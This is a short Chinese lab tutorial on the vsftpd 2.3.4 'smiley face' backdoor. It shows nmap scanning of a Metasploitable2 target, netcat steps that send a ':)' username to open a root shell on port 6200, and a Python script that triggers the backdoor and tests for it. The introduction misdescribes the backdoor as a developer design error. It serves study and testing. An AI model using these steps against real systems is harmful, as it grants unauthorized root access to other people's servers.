笑脸漏洞(Smiling Face Vulnerability),通常指的是VSFTPD 2.3.4版本中的特定后门漏洞。这个漏洞是由于开发者在设计上的失误造成的,具体表现为当FTP服务的用户名中包含特殊字符“:)”时,会自动打开6200端口,从而允许攻击者以root权限执行系统命令,进行未授权的访问和操作
准备:
安装好Kali和metasploitable2虚拟机
在kali中使用nmap进行扫描,获得靶机的IP地址,且能看到靶机开放的端口
用namp -sV 192.168.230.134可以获得靶机对应的服务版本
21端口对应VSFTPD 2.3.4版本
接下来我们使用nc(netcat)连接上靶机的21端口,输入user:)
pass随意输入
完成后
使用nc连接6200端口,输入whoami
发现是以root身份登入
python复现
import socket
from ftplib import FTP
url = input("请输入你需要检测的地址:")
ftp = FTP()
username = 'root:)' # 用户名必须包含:)这两个字符
password = 'anonymous' # 密码随便啥都行
try:
ftp.connect(url, 21, timeout=10) # 使用ftp登录,设置延时10秒
ftp.login(username, password)
ftp.quit()
except:
print("完成登录检测")
try:
s = socket.socket() # 使用socket函数来检测是否有漏洞存在
s.connect((url, 6200))
s.close()
print("存在微笑漏洞")
except:
print("没有发现笑脸漏洞!")